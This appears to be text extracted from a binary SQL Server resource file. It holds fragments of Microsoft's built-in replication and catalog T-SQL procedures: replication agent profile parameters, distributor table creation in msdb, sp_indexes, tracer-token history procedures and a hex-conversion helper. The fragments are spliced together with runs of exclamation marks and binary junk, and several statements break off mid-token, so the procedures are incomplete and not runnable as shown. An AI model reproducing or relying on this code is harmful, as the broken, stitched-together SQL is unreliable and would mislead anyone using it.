	if object_id(N'sys.sp_MSrepl_helppublication_snapshot', 'P') is not NULL
		drop procedure sys.sp_MSrepl_helppublication_snapshot

	if object_id(N'sys.sp_MSgetisvalidwindowsloginfromdistributor', 'P') is not NULL
		drop procedure sys.sp_MSgetisvalidwindowsloginfromdistributor

    if object_id(N'sys.sp_startpublication_snapshot', 'P') is not null
        drop procedure sys.sp_startpublication_snapshot

    if object_id(N'sys.sp_MSrepl_publicationsnapshotjobcontrol', 'P') is not null
        drop procedure sys.sp_MSrepl_publicationsnapshotjobcontrol

    if object_id(N'sys.sp_stoppublication_snapshot', 'P') is not null
        drop procedure sys.sp_stoppublication_snapshot

    if object_id(N'sys.sp_startpushsubscription_agent', 'P') is not null
        drop procedure sys.sp_startpushsubscription_agent

    if object_id(N'sys.sp_MSrepl_subscriptionagentjobcontrol', 'P') is not null
        drop procedure sys.sp_MSrepl_subscriptionagentjobcontrol

    if object_id(N'sys.sp_stoppushsubscription_agent', 'P') is not null
        drop procedure sys.sp_stoppushsubscription_agent

    if object_id(N'sys.sp_startmergepushsubscription_agent', 'P') is not null
        drop procedure sys.sp_startmergepushsubscription_agent

    if object_id(N'sys.sp_stopmergepushsubscription_agent', 'P') is not null
        drop procedure sys.sp_stopmergepushsubscription_agent

    if object_id(N'sys.sp_MSmergepushsubscriptionagentjobcontrol', 'P') is not null
        drop procedure sys.sp_MSmergepushsubscriptionagentjobcontrol

    if object_id(N'sys.sp_MSrepl_set_oracle_provider_inproc_on64bit', 'P') is not null
        drop procedure sys.sp_MSrepl_set_oracle_provider_inproc_on64bit

    if object_id(N'sys.sp_MSrepl_verify_oracle_provider_isregistered', 'P') is not null
        drop procedure sys.sp_MSrepl_verify_oracle_provider_isregistered

    if object_id(N'sys.sp_MSrepl_verify_oracle_client_version', 'P') is not null
        drop procedure sys.sp_MSrepl_verify_oracle_client_version
    
    if object_id(N'sys.fn_MSrepl_is_workgroup_edition', 'FN') is not null
        drop function sys.fn_MSrepl_is_workgroup_edition

    if object_id(N'sys.fn_MSrepl_editionid', 'FN') is not null
        drop function sys.fn_MSrepl_editionid

    if object_id(N'sys.sp_identitycolumnforreplication', 'P') is not null
        drop procedure sys.sp_identitycolumnforreplication
    
    if object_id('sys.sp_MSgetversion','P') is not NULL
        drop procedure sys.sp_MSgetversion
t1t1y',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-SkipErrors',
                @parameter_value = ''
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-KeepAliveMessageInterval',
                @parameter_value = '300'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-UseOledbStreaming',
                @parameter_value = ''
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-OledbStreamThreshold',
                @parameter_value = '32768'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-PacketSize',
                @parameter_value = '32768'  -- use a bigger packet size
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
    end

    return 0
FAILURE:
    return 1
o]:o]       N'login'    = CASE
                                WHEN (@fallowaccess = 1) THEN p.login
                                ELSE cast(NULL as sysname)
                                END,
                -- Not to return password unless allowed access.
                N'password' = CASE
                                    WHEN (@fallowaccess = 1) THEN msdl.password
                                    ELSE cast(NULL as sysname)
                                    END,
                p.active,
                p.working_directory,
                p.trusted,
                p.thirdparty_flag,
                p.publisher_type,
                N'publisher_data_source' = s.data_source
    FROM msdb.dbo.MSdistpublishers as p 
        join master.sys.servers as s 
            on p.name collate database_default = s.name collate database_default
        join @MSdistlogins as msdl
            on msdl.name = p.name collate database_default
                AND msdl.distribution_db = p.distribution_db collate database_default
                AND msdl.login = p.login collate database_default
    WHERE ((@publisher = N'%') OR (p.name  collate database_default= UPPER(@publisher)))
        AND (@check_user = 0 
                    OR EXISTS (SELECT * 
                                    FROM @distdbs as d 
                                    WHERE d.name = p.distribution_db collate database_default
                                        AND d.publisher = p.name collate database_default))
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(.L'4]vvt1to FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadGenerationsPerBatch',
                @parameter_value = '500'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadReadChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadReadChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadWriteChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadWriteChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-Validate',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-FastRowCount',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
        
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-HistoryVerboseLevel',
                @parameter_value = '2'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-ChangesPerHistory',
                @parameter_value = '1000'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-BcpBatchSize',
                @parameter_value = '100000'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-NumDeadlockRetries',
                @parameter_value = '5'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-SrcThreads',
                @parameter_value = '3'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DestThreads',
                @parameter_value = '4'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-KeepAliveMessageInterval',
                @parameter_value = '300'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-MetadataRetentionCleanup',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
            
        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-ParallelUploadDownload',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-QueueSizeMultiplier',
                @parameter_value = '5'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxBcpThreads',
                @parameter_value = '4'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MakeGenerationInterval',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
            
    end
    else if (@profile_id = 16)
    begin
        --
        -- Distribution agent - profile to use OLEDB streaming for LOB data
        --
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-BcpBatchSize',
                @parameter_value = '2147473647' -- Max 32bit signed integer - 10000
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-CommitBatchSize',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-CommitBatchThreshold',
                @parameter_value = '1000'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-HistoryVerboseLevel',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-LoginTimeout',
                @parameter_value = '15'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxBcpThreads',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxDeliveredTransactions',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-PollingInterval',
                @parameter_value = '5'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-QueryTimeout',
                @parameter_value = '1800'        -- 30 minutes 
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-TransactionsPerHistor!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(/'vUcreate procedure sys.sp_MScreate_distributor_tables
as
begin
    declare @profile_id     int
    declare @retcode    int
    declare @profile_name nvarchar(100)
    declare @profile_desc nvarchar(100)

    /* Create MSpublishers table */
    IF EXISTS (SELECT * FROM msdb.sys.objects WHERE name = 'MSdistpublishers'
        and type = 'U')
    begin
        DROP TABLE msdb..MSdistpublishers
        if @@error<> 0 goto FAILURE
    end

    /* Create MSdistributiondbs table */
    IF EXISTS (SELECT * FROM msdb.sys.objects WHERE name = 'MSdistributiondbs'
        and type = 'U')
    begin
        DROP TABLE msdb..MSdistributiondbs
        if @@error<> 0 goto FAILURE
    end

    /* create MSdistributor table */
    IF EXISTS (SELECT * FROM msdb.sys.objects WHERE name = 'MSdistributor'
        and type = 'U')
    begin
        DROP TABLE msdb..MSdistributor
        if @@error<> 0 goto FAILURE
    end

    /* create sysreplicationalerts table */
    IF EXISTS (SELECT * FROM msdb.sys.objects WHERE name = 'sysreplicationalerts'
        and type = 'U')
    begin
        DROP TABLE msdb.dbo.sysreplicationalerts
        if @@error<> 0 goto FAILURE
    end
    
    /* create MSagent_profiles table */
    IF EXISTS (SELECT * FROM msdb.sys.objects WHERE name = 'MSagent_profiles'
        and type = 'U')
    begin
        DROP TABLE msdb..MSagent_profiles
        if @@error<> 0 goto FAILURE
    end

    /* create MSagent_parameters table */
    IF EXISTS (SELECT * FROM msdb.sys.objects WHERE name = 'MSagent_parameters' 
        and type = 'U')
    begin
        DROP TABLE msdb..MSagent_parameters
        if @@error<> 0 goto FAILURE
    end

    CREATE TABLE msdb.dbo.MSdistpublishers
    (
        name                sysname     NOT NULL,
        distribution_db     sysname     NOT NULL,
        working_directory   nvarchar(255) NOT NULL,
        security_mode       int         NOT NULL,
        login               sysname     NOT NULL,
        password            nvarchar(524) NULL,
        active              bit         NOT NULL,
        trusted             bit         NOT NULL,
        thirdparty_flag     bit         NOT NULL,
        publisher_type      sysname NOT NULL default N'MSSQLSERVER'
    )
    if @@error<> 0 goto FAILURE

    CREATE UNIQUE CLUSTERED INDEX uc1MSdistpublishers 
        ON msdb.dbo.MSdistpublishers(name)
    if @@error<> 0 goto FAILURE
    CREATE NONCLUSTERED INDEX nc2MSdistpublishers 
        ON msdb.dbo.MSdistpublishers(distribution_db)
    if @@error<> 0 goto FAILURE

    exec @retcode = msdb.dbo.sp_MS_marksystemobject 'dbo.MSdistpublishers' 
    if @@error<> 0 or @retcode <> 0 goto FAILURE

    CREATE TABLE msdb.dbo.MSdistributiondbs
    (
        name            sysname     NOT NULL,
        min_distretention   int     NOT NULL,
        max_distretention   int     NOT NULL,
        history_retention   int     NOT NULL
    )
    if @@error<> 0 goto FAILURE

    CREATE UNIQUE CLUSTERED INDEX uc1MSdistributiondbs 
            ON msdb.dbo.MSdistributiondbs(name)
    if @@error<> 0 goto FAILURE

    exec @retcode = msdb.dbo.sp_MS_marksystemobject 'dbo.MSdistributiondbs' 
    if @@error<> 0 or @retcode <> 0 goto FAILURE

    CREATE TABLE msdb.dbo.MSdistributor 
    ( 
        property        sysname     NOT NULL, 
        value           nvarchar(3000)  NULL
    )
    if @@error<> 0 goto FAILURE
    
    CREATE UNIQUE CLUSTERED INDEX uc1MSdistributor 
            ON msdb.dbo.MSdistributor(property)
    if @@error<> 0 goto FAILURE

    exec @retcode = msdb.dbo.sp_MS_marksystemobject 'dbo.MSdistributor' 
    if @@error<> 0 or @retcode <> 0 goto FAILURE

    CREATE TABLE msdb.dbo.sysreplicationalerts
    (
        alert_id            int identity(1,1) NOT NULL,
        status              int NOT NULL,
        agent_type          int NULL,
        agent_id            int NULL,
        error_id            int NULL,
        alert_error_code    int NULL,
        time                datetime NOT NULL,
        publisher           sysname NULL,
        publisher_db        sysname NULL,
        publication         sysname NULL,
        publication_type    int NULL,
        subscriber          sysname NULL,
        subscriber_db       sysname NULL,
        article             sysname NULL,
        destination_object  sysname NULL,
        source_object       sysname NULL,
        alert_error_text    ntext NULL
    )
    if @@error<> 0 goto FAILURE

    CREATE UNIQUE CLUSTERED INDEX ucsysreplicationalerts ON msdb.dbo.sysreplicationalerts(alert_id)
    if @@error<> 0 goto FAILURE

    exec @retcode = msdb.dbo.sp_MS_marksystemobject 'dbo.sysreplicationalerts' 
    if @@error<> 0 or @retcode <> 0 goto FAILURE

    CREATE TABLE msdb.dbo.MSagent_profiles
    (
        profile_id    int           NOT NULL IDENTITY,
        profile_name  sysname       NOT NULL,
        agent_type          int             NOT NULL, -- 1-Snapshot, 2-Logreader,
                                                      -- 3-Distribution, 4-Merge,
                                                      -- 9-Qreader
        type                int             NOT NULL, -- 0-System, 1-Custom
        description         nvarchar(3000)  NULL,
        def_profile   bit               NOT NULL
    )
    if @@error<> 0 goto FAILURE

    exec @retcode = msdb.dbo.sp_MS_marksystemobject 'dbo.MSagent_profiles' 
    if @@error<> 0 or @retcode <> 0 goto FAILURE

    CREATE UNIQUE CLUSTERED INDEX ucMSagent_profiles ON msdb.dbo.MSagent_profiles
        (profile_name, profile_id, agent_type)
    if @@error<> 0 goto FAILURE

    CREATE TABLE msdb.dbo.MSagent_parameters
    (
        profile_id     int          NOT NULL,
        parameter_name       sysname        NOT NULL,
        value                nvarchar(255)  NOT NULL
    )
    if @@error<> 0 goto FAILURE
    exec @retcode = msdb.dbo.sp_MS_marksystemobject 'dbo.MSagent_parameters' 
    if @@error<> 0 or @retcode <> 0 goto FAILURE

    CREATE UNIQUE CLUSTERED INDEX ucMSagent_parameters ON msdb.dbo.MSagent_parameters
        (parameter_name, profile_id)
    if @@error<> 0 goto FAILURE

	/*
	** Initialize all the possible parameters for each profile
	**  (for validation and UI)
	*/
	exec sys.sp_createagentparameterlist

    /* 
    ** Create default / non default profiles 
    ** for all the agents 
    */

    /* 
    ** Snapshot agent 
    */
    set @profile_id = NULL
    set @profile_name = formatmessage(20545) -- Default Snapshot Profile
    set @profile_desc = NULL

    exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 1,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 1
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    exec @retcode = sys.sp_generate_agent_parameter @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    /* 
    ** Logreader agent 
    */
    set @profile_id = NULL
    set @profile_name = formatmessage(20545) -- Default LogReader Profile
    set @profile_desc = NULL

    exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 2,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 1
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    exec @retcode = sys.sp_generate_agent_parameter @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        goto FAILURE

    /* 
    ** Logreader agent - Verbose History Profile
    */
    set @profile_id = NULL
    set @prof!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`=<0}Dx0F 8
create procedure sys.sp_indexes
(
    @table_server       sysname,
    @table_name         sysname = null,
    @table_schema       sysname = null,
    @table_catalog      sysname = null,
    @index_name         sysname = null,
    @is_unique          bit = null
)
as
    select
        TABLE_CAT           = TABLE_CATALOG,
        TABLE_SCHEM         = TABLE_SCHEMA,
        TABLE_NAME          = TABLE_NAME,
        NON_UNIQUE          = convert(smallint, 1 - [UNIQUE]),
        INDEX_QUALIFIER     = TABLE_NAME,
        INDEX_NAME          = INDEX_NAME,
        TYPE                = case [CLUSTERED]
                                when 1 then 1
                                else 3
                              end,
        ORDINAL_POSITION    = ORDINAL_POSITION,
        COLUMN_NAME         = COLUMN_NAME,
        ASC_OR_DESC         = case [COLLATION]
                                when 1 then 'A'
                                when 2 then 'D'
                                else null
                              end,
        CARDINALITY         = CARDINALITY,
        PAGES               = case [CLUSTERED]
                                when 1 then PAGES
                                else NULL
                              end,
        FILTER_CONDITION    = FILTER_CONDITION

    from
        sys.fn_remote_indexes (
                @table_server,
                @table_catalog,
                @table_schema,
                @index_name,
                NULL,           -- TYPE (index type)
                @table_name)
    where
        @is_unique is null or @is_unique = [UNIQUE]
    order by NON_UNIQUE, TYPE, INDEX_QUALIFIER, INDEX_NAME, ORDINAL_POSITION
0T 8
--
-- Name:    
--          sp_IHisarticlecolbitset
--          
-- Description: 
--          Query to see if specific column in a specific article is being replicated
--  
-- Security: 
--          Internal
--
-- Returns:
--          1 == if col replicated for article
--			0 == if col is not replicated for article
--      
-- Owner:   
--          <current owner> 

create procedure sys.sp_IHisarticlecolbitset
(
	@colid	int, 
	@artid	int
)
as
begin
	if exists
	(
		select	article_id
		from	IHcolumns
		where	article_id	= @artid
		  and	column_id	= @colid
	)
	begin
		return 1
	end
	else
	begin
		return 0
	end
end
0' 8create procedure sys.sp_deletetracertokenhistory
(
	@publication	sysname,
	@tracer_id		int 		= NULL,
	@cutoff_date	datetime 	= NULL,
	@publisher		sysname 	= NULL,	
	@publisher_db	sysname 	= NULL
)
as
begin
	declare @retcode 			int,
			@distproc 			nvarchar(1000),
			@distributor 		sysname, 
			@distribution_db 	sysname
	--
	-- Calling convention is different if we are already at the distdb
	--
	if sys.fn_MSrepl_isdistdb (db_name()) = 1
	begin
		-- security check for distributor is performed in the helper proc.

		-- if we are at the distributor then publisher and
		-- publisher db are required parameters for this proc
		if isnull(@publisher, N'') = N''
		begin
			-- Parameter '%s' cannot be NULL or empty string when this procedure is run from a distribution database.
			raiserror(20686, 16, -1, '@publisher', 'distribution')
			return 1
		end
		else if isnull(@publisher_db, N'') = N''
		begin
			-- Parameter '%s' cannot be NULL or empty string when this procedure is run from a distribution database.
			raiserror(20686, 16, -1, '@publisher_db', 'distribution')
			return 1
		end
		
		exec @retcode = sys.sp_MSdelete_tracer_history @tracer_id		= @tracer_id,
														@cutoff_date	= @cutoff_date,
														@publisher		= @publisher,	
														@publisher_db	= @publisher_db,
														@publication 	= @publication

		return @retcode
	end

	--
	-- Everything below this line is expected to run on the Publisher
	--
	
    -- Publisher Security Check.
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return 1

    -- check this db is published
	if sys.fn_MSrepl_istranpublished(db_name(),1) <> 1
	begin
		-- "The database is not published."
		raiserror (18757, 16, -1)
		return 1
	end
	
	-- do not allow users to specify pub/pubdb unless at disdb
	if @publisher is not NULL
	begin
		-- Parameter ''%s'' must be NULL when this procedure is not being run from a distribution database.
		raiserror(20687, 16, -1, '@publisher', 'distribution')
		return 1
	end
	else if @publisher_db is not NULL
	begin
		-- Parameter ''%s'' must be NULL when this procedure is not being run from a distribution database.
		raiserror(20687, 16, -1, '@publisher_db', 'distribution')
		return 1
	end

	select @publisher = publishingservername(),
			@publisher_db = db_name()

	exec @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT, 
											@distribdb = @distribution_db OUTPUT,
											@publisher = @publisher
	if @@error <> 0 or @retcode <> 0 or @distributor is NULL or @distribution_db is NULL
	begin
		-- "The Distributor has not been installed correctly."
		raiserror(20036, 16, -1)
		return 1
	end

	select @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MSdelete_tracer_history'	
	exec @retcode = @distproc @tracer_id		= @tracer_id,
								@cutoff_date	= @cutoff_date,
								@publisher		= @publisher,	
								@publisher_db	= @publisher_db,
								@publication 	= @publication
	if @@error <> 0 or @retcode <> 0 
	begin
		return 1
	end

	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	D`2<
10i 8create function sys.fn_remote_views(
	@server		sysname,
	@catalog	sysname = NULL,
	@schema		sysname = NULL,
	@name		sysname = NULL)
returns table
as
return select * from OpenRowset(SYSREMOTE_VIEWS, @server, @catalog, @schema, @name)
0s 8create procedure sys.sp_hexadecimal
    @binvalue varbinary(256),
    -- output will be original * 2 (expansion rate) + 2 (prefix - 0x)
    -- otherwise there will be truncation
    @hexvalue varchar(514) output
as
	-- same as above
	declare @charvalue varchar(514)
	declare @i int
	declare @length int
	declare @hexstring char(16)

	select @charvalue = '0x'
	select @i = 1
	select @length = 0
	if (@binvalue is not null)
		select @length = datalength (@binvalue)
	select @hexstring = '0123456789ABCDEF'

	while (@i <= @length)
	begin
		declare @tempint int
		declare @firstint int
		declare @secondint int

		select @tempint = convert(int, substring(@binvalue, @i, 1))
		select @firstint = floor(@tempint/16)
		select @secondint = @tempint - (@firstint * 16)
		select @charvalue = @charvalue +
							substring(@hexstring, @firstint + 1, 1) +
							substring(@hexstring, @secondint + 1, 1)

		select @i = @i + 1
	end
	select @hexvalue = @charvalue
0bt@ 8 
-- add it
create view sys.pdw_index_mappings as
select
	object_id,
	index_id,
	physical_name	collate database_default physical_name
from sys._pdw_index_mappings
0y 8CREATE VIEW sys.dm_qn_subscriptions AS
	SELECT *
	FROM OpenRowSet(TABLE SYSNOTIFICATIONSUBS)
0{ 38--
-- Name: 
--		sp_MSupdate_tracer_history
-- 
-- Description: 
--		This procedure will update the tracer history row's distrib_commit 
--		time to getdate(). 
--  
-- Parameters: 
--		@tracer_id	int		Id of the tracer to be updated
--
-- Returns: 
--		0 - succeeded
--      1 - failed
--
-- Result: 
--		None
--
-- Security: 
--		Sysadmin/dbo (run by logreader only)
--
create procedure sys.sp_MSupdate_tracer_history
(
	@tracer_id	int
)
as
begin
	set nocount on
	
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

	-- update the requested tracer token
	-- if the tracer token row no longer exists then
	-- we will exit with no error because this may happen
	-- if cleanup comes bye and removes the token row
	update MStracer_tokens
		set distributor_commit = getdate()
		where tracer_id = @tracer_id
	if @@error <> 0
	begin
		return 1
	end

	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!5jq`1<{2nB&1